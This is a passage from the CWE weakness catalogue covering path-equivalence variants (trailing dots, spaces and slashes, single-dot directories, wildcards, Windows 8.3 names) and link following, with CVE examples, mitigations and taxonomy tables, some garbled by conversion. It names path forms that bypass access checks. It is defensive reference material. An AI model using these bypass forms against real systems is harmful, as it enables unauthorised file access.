ChildOf		21	Pathname Traversal and Equivalence Errors	699	29
ChildOf		632	Weaknesses that Affect Files or Directories	631	981
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1000	1106
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf		981	SFP Secondary Cluster: Path Traversal	888	1384
CanFollow		20	<i>Improper Input Validation</i>	1000	18
ParentOf		42	<i>Path Equivalence: 'filename.' (Trailing Dot)</i>	699	78
				1000	
ParentOf		44	<i>Path Equivalence: 'file.name' (Internal Dot)</i>	699	79
				1000	
ParentOf		46	<i>Path Equivalence: 'filename ' (Trailing Space)</i>	699	80
				1000	
ParentOf		47	<i>Path Equivalence: ' filename' (Leading Space)</i>	699	81
				1000	
ParentOf		48	<i>Path Equivalence: 'file name' (Internal Whitespace)</i>	699	82
				1000	
ParentOf		49	<i>Path Equivalence: 'filename/' (Trailing Slash)</i>	699	83
				1000	
ParentOf		50	<i>Path Equivalence: '//multiple/leading/slash'</i>	699	83
				1000	
ParentOf		51	<i>Path Equivalence: '/multiple//internal/slash'</i>	699	84
				1000	
ParentOf		52	<i>Path Equivalence: '/multiple/trailing/slash/'</i>	699	85
				1000	
ParentOf		53	<i>Path Equivalence: '\multiple\internal\backslash'</i>	699	86
				1000	
ParentOf		54	<i>Path Equivalence: 'filedir\' (Trailing Backslash)</i>	699	86
				1000	
ParentOf		55	<i>Path Equivalence: './' (Single Dot Directory)</i>	699	87
				1000	
ParentOf		56	<i>Path Equivalence: 'filedir*' (Wildcard)</i>	699	88
				1000	
ParentOf		57	<i>Path Equivalence: 'fakedir/./readdir/filename'</i>	699	89
				1000	
ParentOf		58	<i>Path Equivalence: Windows 8.3 Filename</i>	699	90



Nature	Type	ID	Name	V	Page
				1000	
CanFollow	C	73	External Control of File Name or Path	1000	109
CanFollow	C	172	Encoding Error	1000	333
MemberOf	V	884	CWE Cross-section	884	1319

### Relationship Notes

Some of these manipulations could be effective in path traversal issues, too.

### Affected Resources

- File/Directory

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Path Equivalence
CERT C Secure Coding	FIO02-C	Canonicalize path names originating from untrusted sources
CERT C++ Secure Coding	FIO02-CPP	Canonicalize path names originating from untrusted sources

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
4	Using Alternative IP Address Encodings	

## CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

Weakness ID: 42 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

A software system that accepts path input in the form of trailing dot ('filedir.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Observed Examples

Reference	Description
CVE-2000-1114	Source code disclosure using trailing dot
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk."
CVE-2002-1986	Source code disclosure using trailing dot
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL
CVE-2004-2213	Source code disclosure using trailing dot
CVE-2005-3293	Source code disclosure using trailing dot

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	699	73
				1000	
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	1000	319
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384
ParentOf	V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	699	79
				1000	

### Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Trailing Dot - 'filedir.'
Software Fault Patterns	SFP16	Path Traversal

## CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

Weakness ID: 43 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

A software system that accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
BUGTRAQ:20040205	Cache + Resin Reveals JSP Source Code ...
CVE-2004-0281	Multiple trailing dot allows directory listing

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		42	Path Equivalence: 'filename.' (Trailing Dot)	<b>699</b>	78
ChildOf		163	Improper Neutralization of Multiple Trailing Special Elements	<b>1000</b>	320
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Multiple Trailing Dot - 'filedir....'
Software Fault Patterns	SFP16	Path Traversal

## CWE-44: Path Equivalence: 'file.name' (Internal Dot)

Weakness ID: 44 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

A software system that accepts path input in the form of internal dot ('file.ordir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

**Confidentiality****Integrity****Read files or directories****Modify files or directories****Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	699 1000	73
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384
ParentOf	V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)	699 1000	80

**Relationship Notes**

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Internal Dot - 'file.ordir'
Software Fault Patterns	SFP16	Path Traversal

## CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

Weakness ID: 45 (Weakness Variant)

Status: Incomplete

**Description****Summary**

A software system that accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	V	44	Path Equivalence: 'file.name' (Internal Dot)	699 1000	79
ChildOf	V	165	Improper Neutralization of Multiple Internal Special Elements	1000	323
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

**Relationship Notes**

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Multiple Internal Dot - 'file...dir'
Software Fault Patterns	SFP16	Path Traversal

## CWE-46: Path Equivalence: 'filename ' (Trailing Space)

Weakness ID: 46 (Weakness Variant)

Status: Incomplete

**Description****Summary**

A software system that accepts path input in the form of trailing space ('filedir ') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2001-0054	Multi-Factor Vulnerability (MVF), directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.
CVE-2001-0693	Source disclosure via trailing encoded space "%20"
CVE-2001-0778	Source disclosure via trailing encoded space "%20"
CVE-2001-1248	Source disclosure via trailing encoded space "%20"
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure.
CVE-2002-1603	Source disclosure via trailing encoded space "%20"
CVE-2004-0280	Source disclosure via trailing encoded space "%20"
CVE-2004-2213	Source disclosure via trailing encoded space "%20"
CVE-2005-0622	Source disclosure via trailing encoded space "%20"
CVE-2005-1656	Source disclosure via trailing encoded space "%20"

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		41	Improper Resolution of Path Equivalence	<b>699</b> <b>1000</b>	73
ChildOf		162	Improper Neutralization of Trailing Special Elements	1000	319
CanPrecede		289	Authentication Bypass by Alternate Name	1000	513
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Trailing Space - 'filedir '
Software Fault Patterns	SFP16	Path Traversal

## CWE-47: Path Equivalence: ' filename' (Leading Space)

Weakness ID: 47 (Weakness Variant)

Status: Incomplete

**Description****Summary**

A software system that accepts path input in the form of leading space ('filedir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.




**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Relationships**

Nature	Type	ID	Name		Page
ChildOf		41	Improper Resolution of Path Equivalence		73
				<b>699</b>	<b>1000</b>
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Leading Space - 'filedir'
Software Fault Patterns	SFP16	Path Traversal

**CWE-48: Path Equivalence: 'file name' (Internal Whitespace)****Weakness ID: 48 (Weakness Variant)****Status: Incomplete****Description****Summary**

A software system that accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**

- Implementation




**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		41	Improper Resolution of Path Equivalence		73
				<b>699</b>	<b>1000</b>
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Relationship Notes**

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			file(SPACE)name (internal space)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP16		Path Traversal

## CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

Weakness ID: 49 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

A software system that accepts path input in the form of trailing slash ('filedir/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

#### Time of Introduction

- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity




##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
BID:3518	Source code disclosure
CVE-2001-0446	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.
CVE-2001-0892	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
CVE-2001-0893	Read sensitive files with trailing "/"
CVE-2002-0253	Overlaps infoleak
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/"
CVE-2004-1814	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		41	Improper Resolution of Path Equivalence	699 1000	73
ChildOf		162	Improper Neutralization of Trailing Special Elements	1000	319
ChildOf		981	SFP Secondary Cluster: Path Traversal	888	1384

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		filedir/ (trailing slash, trailing /)
Software Fault Patterns	SFP16	Path Traversal

## CWE-50: Path Equivalence: '//multiple/leading/slash'

Weakness ID: 50 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

A software system that accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-1999-1456	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
CVE-2000-1050	Access directory using multiple leading slash.
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
CVE-2002-0275	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.
CVE-2002-1238	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
CVE-2002-1483	Read files with full pathname using multiple internal slash.
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.
CVE-2004-0578	Server allows remote attackers to read arbitrary files via leading slash (/) characters in a URL request.
CVE-2004-1032	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.
CVE-2004-1878	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).
CVE-2005-1365	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		41	Improper Resolution of Path Equivalence	<b>699</b>	73
ChildOf		161	Improper Neutralization of Multiple Leading Special Elements	1000	317
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		//multiple/leading/slash ('multiple leading slash')
Software Fault Patterns	SFP16	Path Traversal

**CWE-51: Path Equivalence: '/multiple//internal/slash'**Weakness ID: 51 (*Weakness Variant*)

Status: Incomplete

**Description****Summary**

A software system that accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

## Common Consequences

**Confidentiality**  
**Integrity**  
**Read files or directories**  
**Modify files or directories**

## Observed Examples

Reference	Description
CVE-2002-1483	Read files with full pathname using multiple internal slash.



## Potential Mitigations

### Implementation

### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		41	Improper Resolution of Path Equivalence	<b>699</b>	73
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		/multiple//internal/slash ('multiple internal slash')
Software Fault Patterns	SFP16	Path Traversal

# CWE-52: Path Equivalence: '/multiple/trailing/slash/'

**Weakness ID:** 52 (*Weakness Variant*)**Status:** Incomplete

## Description

### Summary

A software system that accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Time of Introduction

- Implementation

### Applicable Platforms

### Languages

- All

## Common Consequences

**Confidentiality**  
**Integrity**  
**Read files or directories**  
**Modify files or directories**

## Observed Examples

Reference	Description
CVE-2002-1078	Directory listings in web server using multiple trailing slash

## Potential Mitigations

### Implementation

### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.



## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	699 1000	73
ChildOf	V	163	Improper Neutralization of Multiple Trailing Special Elements	1000	320
CanPrecede	V	289	Authentication Bypass by Alternate Name	1000	513
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		/multiple/trailing/slash// ('multiple trailing slash')
Software Fault Patterns	SFP16	Path Traversal

## CWE-53: Path Equivalence: '\multiple\internal\backslash'

Weakness ID: 53 (Weakness Variant)

Status: Incomplete

## Description

## Summary

A software system that accepts path input in the form of multiple internal backslash ('\multiple\trailing\slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- All

## Common Consequences

## Confidentiality

## Integrity

Read files or directories

Modify files or directories

## Potential Mitigations

## Implementation

## Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	699 1000	73
ChildOf	V	165	Improper Neutralization of Multiple Internal Special Elements	1000	323
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		\multiple\internal\backslash
Software Fault Patterns	SFP16	Path Traversal

## CWE-54: Path Equivalence: 'filedir' (Trailing Backslash)

Weakness ID: 54 (Weakness Variant)

Status: Incomplete

## Description

## Summary

A software system that accepts path input in the form of trailing backslash ('filedir\') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
CVE-2004-0847	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability."




#### Potential Mitigations

##### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		41	Improper Resolution of Path Equivalence	<b>699</b>	73
ChildOf		162	Improper Neutralization of Trailing Special Elements	1000	319
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		filedir\ (trailing backslash)
Software Fault Patterns	SFP16	Path Traversal

## CWE-55: Path Equivalence: './.' (Single Dot Directory)

Weakness ID: 55 (Weakness Variant)

Status: Incomplete

#### Description

##### Summary

A software system that accepts path input in the form of single dot directory exploit ('./.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories




**Observed Examples**

Reference	Description
BID:6042	Input Validation error
CVE-1999-1083	Possibly (could be a cleansing error)
CVE-2000-0004	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.
CVE-2002-0112	Server allows remote attackers to view password protected files via ../ in the URL.
CVE-2002-0304	Server allows remote attackers to read password-protected files via a ../ in the HTTP request.
CVE-2004-0815	"./././etc" cleansed to "././etc" then "/etc"

**Potential Mitigations****Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		41	Improper Resolution of Path Equivalence	 699 1000	73
ChildOf		981	SFP Secondary Cluster: Path Traversal	888	1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		../ (single dot directory)
Software Fault Patterns	SFP16	Path Traversal

**CWE-56: Path Equivalence: 'filedir\*' (Wildcard)**

Weakness ID: 56 (Weakness Variant)

Status: Incomplete

**Description****Summary**

A software system that accepts path input in the form of asterisk wildcard ('filedir\*') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2002-0433	List files in web server using "*.ext"
CVE-2004-0696	List directories using desired path and "**"

**Potential Mitigations**

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf	ⓑ	41	Improper Resolution of Path Equivalence	✓	699 1000
ChildOf	Ⓧ	155	Improper Neutralization of Wildcards or Matching Symbols		308
ChildOf	ⓐ	981	SFP Secondary Cluster: Path Traversal		888 1384

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		filedir* (asterisk / wildcard)
Software Fault Patterns	SFP16	Path Traversal

**CWE-57: Path Equivalence: 'fakedir/./readdir/filename'****Weakness ID:** 57 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The software contains protection mechanisms to restrict access to 'readdir/filename', but it constructs pathnames using external input in the form of 'fakedir/./readdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2000-0191	application check access for restricted URL before canonicalization
CVE-2001-1152	Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.
CVE-2005-1366	CGI source disclosure using "dirname/./cgi-bin"

**Potential Mitigations****Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf	ⓑ	41	Improper Resolution of Path Equivalence	✓	699 73

Nature	Type	ID	Name	V	Page
				<b>1000</b>	
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

### Theoretical Notes

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		dirname/fakechild/./realchild/filename
Software Fault Patterns	SFP16	Path Traversal

## CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID: 58 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

#### Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

##### Operating Systems

- Windows

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Observed Examples

Reference	Description
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names
CVE-2001-0795	Source code disclosure using 8.3 file name.
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.

#### Potential Mitigations

##### System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>E</b>	41	Improper Resolution of Path Equivalence	<b>699</b>	73
				<b>1000</b>	
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

#### Research Gaps

Probably under-studied

**Functional Areas**

- File processing

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Windows 8.3 Filename
Software Fault Patterns	SFP16	Path Traversal

**References**

- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "DOS 8.3 Filenames", Page 673.. 1st Edition. Addison Wesley. 2006.

## CWE-59: Improper Link Resolution Before File Access ('Link Following')

**Weakness ID:** 59 (*Weakness Base*)

**Status:** Draft

**Description****Summary**

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

**Alternate Terms****insecure temporary file**

Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Operating Systems**

- Windows (*Sometimes*)
- UNIX (*Often*)

**Common Consequences****Confidentiality****Integrity****Access Control****Read files or directories****Modify files or directories****Bypass protection mechanism**

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

**Other**

Remote Execution: Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since an ".LNK" file can be uploaded like a normal file.

**Likelihood of Exploit**

Low to Medium

**Detection Methods****Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Observed Examples**

Reference	Description
CVE-1999-0783	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
CVE-1999-1386	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
CVE-2000-0342	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
CVE-2001-1042	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.



Reference	Description
CVE-2001-1043	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
CVE-2001-1386	".LNK." - .LNK with trailing dot
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links
CVE-2002-0725	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
CVE-2002-0793	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
CVE-2003-0517	Symlink attack allows local users to overwrite files.
CVE-2003-0578	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
CVE-2003-0844	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
CVE-2004-0689	Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files.
CVE-2004-1603	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
CVE-2004-1901	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
CVE-2005-0587	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.
CVE-2005-0824	Signal causes a dump that follows symlinks.
CVE-2005-1111	Hard link race condition
CVE-2005-1879	Second-order symlink vulnerabilities
CVE-2005-1880	Second-order symlink vulnerabilities
